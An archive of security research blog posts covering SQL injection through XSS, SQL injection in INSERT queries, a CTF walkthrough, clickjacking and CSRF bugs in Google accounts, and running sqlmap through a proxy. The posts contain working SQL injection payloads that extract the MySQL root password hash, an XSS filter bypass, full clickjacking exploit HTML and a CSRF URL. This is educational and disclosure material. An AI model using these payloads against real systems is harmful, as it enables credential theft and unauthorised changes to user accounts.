Secure Belief

SQL Injection Via XSS

2012-02-06T11:42:00.000-08:00

One of the G4H member mandi from www.garage4hackers.com (my second home) asked few days before about xsssqli attack. He had a scenario where the main site is having a cross-site scripting vulnerability and the admin panel has SQL Injection. The page having sql injection in admin panel is only accessible to admin. The question was is it possible to use xss on main site to exploit sql injection on admin panel to get admin account pwned?

Here is my answer with following scenario:

There is a main site which is vulnerable to xss flaw (reflected/stored). The same site has a admin panel which is only accessible to admin users and one of the authenticated pages is vulnerable to sql injection. the admin panel can be a separate package like cpanel and the sql injection vulnerability will be already published (exploit-db FTW!!!).

This is how we can pwn admin account using sql injection via xss.
1. Attacker crafts a xss payload which is using AJAX to make a request with sql injection payload.
2. He sends the payload to admin user.
3. When admin user is logged in into admin panel and clicks the payload link from attacker, the sql injection in admin page is exploited and returns the username & password hashes from admin table.
4. Attacker then submit the returned data to his site using Ajax and will crack password hashes offline.

Video Demonstration:

Any suggestions, comments are welcome.

Update:
As rightly pointed by @antisnatchor on twitter, the issue having xss in main site and sql injeciton in admin panel can be exploited with BeEF Tunneling proxy technique as well. In tunneling proxy, BeEF will use hooked browser (in this case browser used by Admin) as proxy to access the authenticated sessions (in this case the admin panel).
Check BeEF Tunneling Proxy in action

SQL Injection in INSERT Query

2012-02-02T07:51:00.000-08:00

SQL injection is being one of the mostly exploited issues in web application security and has found a place in OWASP Top 10 since 2004. There are many blog posts, papers available on SELECT query injection exploiting WHERE or HAVING clauses. Today I’m going to discuss SQL injection in INSERT query.

The Basics:

INSERT query followed by VALUES inserts rows into an existing table based on explicitly specified values. The syntax of INSERT query is: (source: http://dev.mysql.com/doc/refman/5.5/en/insert.html)

INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
    [INTO] tbl_name [(col_name,...)]
    {VALUES | VALUE} ({expr | DEFAULT},...),(...),...
    [ ON DUPLICATE KEY UPDATE
      col_name=expr
        [, col_name=expr] ... ]

tbl_name is the table into which rows should be inserted. A comma-separated list of column names can be provided following the table name. In this case, a value for each named column must be provided by the VALUES list.

To insert a record in a table, following query will be used:

INSERT INTO tbl_name (a,b,c) VALUES(‘data’,’data’,’data’);

I hope this is enough to introduce INSERT query.

The Injection:
One of the examples of usage of INSERT query in web application is comment page.

The page requests for name, email address and the comment and inserts this data into database using following query:

INSERT INTO comments (name, email, comment) VALUES (‘lol’,’lol’,’lol’);

In this query, an attacker can inject arbitrary data if the inputs are not sanitized. Let’s check this by placing single quote (‘) in name field.

This results in SQL Error as expected:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'asd', 'asd')' at line 1

Now we can inject any data in all fields with comment string at the end.

To get the result of injected query, we need a place where the injected data is reflected back by the application. In this example, the comment details are printed back on the page.

So let’s start injecting something which will give information about the database server. We can insert sql subquery in place of parameter value. We will insert subquery ‘(select version())’ without single quotes in ‘email’ parameter.

We get the mysql version. In this way we can get the other database details as well like current user, current database, etc.

Let try to get the password of user ‘root’ from mysql.user table.

Injected Data:
test’,(select password from mysql.user where user=’root’),’test2’)-- -

This gives error:
Subquery returns more than 1 row

Hmm, only one row. We will use LIMIT to fetch 1 row at a time. Let’s craft the payload with LIMIT:
test’,(select password from mysql.user where user=’root’ limit 0,1),’test2’)-- -

This works and we now have password hash for user ‘root’:

In this way, we can mine the database with SQL injection in INSERT Query using sql subquery.

The INSERT query is common in user registration pages. Let’s analyze an example. This example is taken from “Mutillidae”, a well-known web application to learn security. A new user provides details such as username, password & signature in order to create an account with the forum/application. This data is then inserted into database using this query. The background SQL query looks like this:

INSERT INTO accounts (username, password, mysignature) VALUES ('data', 'data', 'data');

It’s same as the last example and we will be able to inject arbitrary values into database using single quote (‘) and comment string (-- -):

And the result is:

Great!! The user is added. Now we can use the same sql subquery technique to inject sql queries and to get the data. But the question is where will be the returned data?

There are 2 places where the injected data is being reflected by the app.

One place is “Account created” message as shown in above snapshot. Here ‘username’ value is being reflected. As we cannot control the first single quote (‘) for ‘username’ field, we will not be able to inject subquery which will successfully give us the returned data.

We need to look for other places to see if our injected data is being reflected back. As we have registered an account, let’s login and check if data from inserted SQL query reflected somewhere or not.

We can see ‘signature’ parameter is getting reflected in status message. So we need to inject subqueries into ‘signature’ parameter and we will get returned data in status message.

Let’s start with mysql version(). The payload in username field for this will be:

test’,’test’,(select version()))-- -

And user added successfully.

Now login with username & password as ‘test’ and check status. It should have mysql version info.

Yes, it’s there and the injection is successful. Let’s try to get password hash for user ‘root’.

Payload:
test1’,’test1’,(select password from mysql.user where user=’root’))-- -

And here comes the error:

We again need to use LIMIT to get only one row.

Payload:
test1’,’test1’,(select password from mysql.user where user=’root’ LIMIT 0,1))-- -

And we get password hash for user ‘root’.

That’s all. The same way other data can be mined from the database.

Conclusion:
1. Identify the injection point.
2. Check where the injected data is visible.
3. Use subquery to insert sql queries.
4. Use LIMIT to get one row at a time.

Hope you like this post. Suggestions, queries are welcome.

ClubHack preCON CTF walkthrough

2011-12-19T22:47:00.000-08:00

ClubHack 2011, India’s Hacker conference, was held on 3-4 Feb 2011 at Pune, India. They had a pre-conference hacking competition, called as WEBWAR, whose winners can win a free entry to the clubhack event. The winners also qualified to play Treasure Hunt, a physical CTF at clubhack conference.

This post is a walk through for this preCON CTF challenge. After registration for the event, ClubHack provided the link to CTF server. It has a website.

This was a site having download file and login module. At first, it seems we need to login using Login page where there will be more to come. Also with download page, we can download other files which might help us for other attacks or to login into application.

Let’s analyze the login module.

The login page uses MD5 of password string to authenticate.

This login seems to not vulnerable to SQL injection & Auth bypass. Only possible attack will be Brute force which again doesn’t prove anything in CTF. So we need valid credentials to log in.

The other page of interest was download.html.

The download link looks like this:

http://183.82.241.134/ClubHack/download.php?f=1.bin&oa=cf02eabd1afbca475abeb5760f16f0e2f4dfd929

Download page requires 2 parameters: filename & some hash. The hash was identified as SHA1 based on number on characters. After few tests, it was clear that to download any file we need to know filename and SHA1 hash. Filename can be guessed but there was no clue on hash creation for particular file.

Further inspection on download.html reveals execute.php in source as comment. This seems interesting.

When accessed, execute.php shows a form which takes 2 parameters: Command & Filename.

The first thought comes to my mind was Command Injection. When tried with “;ifconfig”, it shows me an error: “Sorry Babu, Test page! Wonly one command is allowed. Try again!”

After several attempts, it was clear that this page not vulnerable to any injection. It seems to work with only one command as said in error message. The I looked for all Linux commands which take filename as parameter. Commands like cat, less, more, tail, etc,etc falls under such category.

None of these seems working. At the end, there were checksum commands left. The command “sha1sum” seems working with valid filename.

Hmm!! Now things are pretty clear. Identify the file to download, generate SHA1 hash of it using execute.php and then use download.php to download it.

Let’s download UserLogin.php as our goal is to get logged in. Following URL used to download it:

http://183.82.241.134/ClubHack/download.php?f=UserLogin.php&oa=36ea1d4979568e6804b61b846ed855fe5d6f626c

Now only thing left was to analyze UserLogin.php, check how it’s authenticating a user and get logged in. But this is CTF and it won’t be that easy.

UserLogin.php was obfuscated. Quick Google search revealed that PHP obfuscator at http://www.fopo.com.ar was used. Now we need to de-obfuscate it. Google search didn’t revealed any online/offline tool for this obfuscation. So only option was left to switch to Manual Mode.

This is how UserLogin.php file looked:

I used local PHP server to obfuscate it. First step was to change eval() to echo() which will give us back the code to analyze further. The output looks like this:

It looks like arbitrary strings used to construct variable and function names. The only way to know it was to echo back the arbitrary string values and replacing it with original strings in code. The input file looks like this:

And output of this is:

The final code after replacing the names looks like this:

Now it’s sort of readable. This code again has one eval() which is doing str_rot13, base64_decode & gzinflate actions on some input string.
Let’s echo it instead of eval.

Now it’s much clear. The PHP code is taking POST parameters which are username & password. Then checking it against the file content. So the file “\x6d\171\x68\141\x73\150\x65\163\x61\162\x65\156\x6f\164\x68\145\x72\145\x2e\164\x78\164” seems to be having credentials. Echo this string to get exact filename.

Now let’s get this file.

Sometimes when you work too much, your brain stops thinking in right direction and you keep trying to the wrong way. I was trying to download this file with download.php which every time says “Invalid file type”. The error keeps me thinking of bypassing content type to get this file. As it’s text file we can access it directly browsing to it.

Wow, now we have credentials. Password is hashed so tampering POST request has helped to login.

Looks like final stage (Final.php). This is a form which looks like email client and used to send a vulnerability report to Security & Management team.

This page has hardcoded email addresses in “sendtomails” hidden parameter and the subject also hardcoded with “Security Updates”.

Both these parameters are validated at server side. Any tampering with these parameters will results in error.

Only Message field is left for user. All the server side attacks like SQL injections, Command/Code injections were not working here. I tried for 2 days at this level. There were no clues available. I felt like lost.

The ClubHack tweeted about 2 flag submissions.

It’s now confirmed that there is a way to get out of this Final.php page. Somehow I couldn’t found it yet. One day before the conference, ClubHack released a hint via twitter.

Now things get clearer. ClubHack was talking about cookies which related to XSS. Cross-site scripting is client side bug and never heard being used in CTF where mostly server side bugs are exploited to get flag.

Finally taking the hint as clue, I proceed with XSS flaw and tried to exploit it.
At first, script & img tags was filtered in Message parameter but rest tags were allowed. Using a href tag with event handler to execute javascript, I was able to access cookies but was not enough to pass the level.

It seems like alerting cookie is not going to help. So next step to include malicious javascript. As script tags was not working, I tried to use bypasses for it. The basic one is to use uppercase-lowercase combination of letters: <ScRiPt>alert(1)</script>

Next is to include malicious javascript. In this case, I included a demo script as:

It worked and gives away flag string and link to submit the flag.

ClubHack has replied one of my tweets after the flag submission.

After 3 days of efforts, it paid well. I enjoyed ClubHack event. Thanks to ClubHack team & NII for creating this CTF.

I hope you enjoyed this post. Any comments, suggestions are welcome.

Presentation: Make Profit with UI-Redressing Attacks

2011-12-13T20:56:00.000-08:00

Slides from Null Pune Chapter Oct-2011 meet presentation.

Make profit with UI-Redressing attacks.

View more presentations from n|u - The Open Security Community

Hijacking 2 clicks in Google Accounts

2011-09-14T23:03:00.000-07:00

This vulnerability was the same as my previous post but more challenging in terms of exploitation. In this, attacker needs to hijack 2 user clicks to complete the desired action.

It starts with Google Products page where you can remove listed service from Google Accounts.

Once user decided to remove any service, for ex. Google Health, the user is presented with following page.

To remove service, user first needs to click the checkbox. After this only the “Remove Google Health” button will be active which when clicked will remove respective service from Google Account.

To exploit this, I used “Fake Captcha” technique which will successfully hijack required 2 clicks and will remove targeted service. Here is how the attack page looks like.

This page has an invisible iframe which renders remove service page from Google Accounts. The correct answer, in this case ‘30’, is placed over the checkbox from vulnerable page & ‘Submit Answer’ on ‘Remove Google Health’ button.

When an authenticated user clicks on right answer for the provided arithmetic operation, he/she actually clicking the checkbox which enables “Remove Google Health” button.

Now he/she need to complete the process by submitting the answer. Once clicked on “Submit Answer” button, the targeted service will be removed from his/her Google Accounts.

Remove Google Heath, Remove Google Web History and Remove Orkut were vulnerable to this attack.

Google was very quick to patch this vulnerability.

Hope you enjoyed reading this. Suggestions, comments are welcome.

Remove Google Books with Clickjacking

2011-09-13T00:11:00.000-07:00

Google Accounts has options to remove Google Products. One of them was to remove Google Books permanently.

This action was well protected for CSRF using tokens. However it was possible to render this page in an iframe due to absence of clickjacking protections such as Frame Bursting Code or X-FRAME-OPTIONS header.

To carry a successful clickjacking attack, an attacker needs to place a dummy button on top of “OK” button from vulnerable page.

The page presented to victim looks like this.

When an authenticated user browses to the above page hosted on attacker site, the invisible iframe will be loaded with remove Google Books page having proper anti-CSRF tokens in place. When user clicks on “Click” button, he/she actually clicks on “OK” button on vulnerable page and all the reviews, ratings and libraries of that user will be deleted.

This attack needs only one click and works like CSRF.

Edit: Here is the demo code used for this exploit:

<html>

<head>

<style>

button.dummy{position:absolute;top:8px;left:18px;z-index:-10}

#victim {

opacity: 0;

position: absolute;

top: -640px;

left: -55px;

overflow: hidden;

width:800px;

height: 700px;

}

</style>

</head>

<body>

<button type="button"
class="dummy">Click</button> 

<div id=victim>

<iframe
src="http://www.google.com/books?op=purge&continue=http://www.google.com/accounts/EditServices"
border=0 scrolling=no width=350 height=900></iframe> 

</div> 

</body> 

</html>

I would like to thanks Google to choosing this bug for reward.

Using sqlmap for testing HTTPS sites

2011-09-12T01:27:00.000-07:00

Update: By default, sqlmap supports SSL. Somehow it didn't worked for my friend. So I tried with --proxy option to find alternate way.

Last week, one of my friends asked me how to use sqlmap against HTTPS sites? I never tried that one but was sure that there will be a way to do it. I quickly checked sqlmap documentation and came across --proxy switch.

Somehow my friend didn't managed to work sqlmap with --proxy switch, So i decided to try it out myself.

The first thing i did was to read sqlmap documentation about --proxy switch.

It's pretty straight to use --proxy switch. It just need to provide proxy details as http://<proxy IP>:<port>. I used burp to test this.

The target site was running on 192.168.20.129. It has a search page which was vulnerable to SQL Injection and that page has used POST method.

To run sqlmap, i used following command:
./sqlmap.py -u "https://192.168.20.128/1/index.jsp" --data "word=test" --proxy "http://127.0.0.1:8080"

where -u is target URL, --data is POST data and --proxy is burp proxy details.

Lets' run it.

It works and sqlmap detected the back-end database as MySQL 5.0.

Hope you will find this useful.

Google Groups Profile CSRF

2011-07-28T22:56:00.000-07:00

Google Groups profile page was vulnerable to CSRF attack to delete profile picture of an authenticated user. A simple GET request to http://groups.google.com/groups/profile/addphoto?Action.Delete=1 would delete user’s current profile picture without his/her knowledge. This was possible due to absence of anti-CSRF measures.

This vulnerability is currently patched by Google. Here are the snaps of vulnerability in action.

Before the exploitation:

After CSRF exploitation: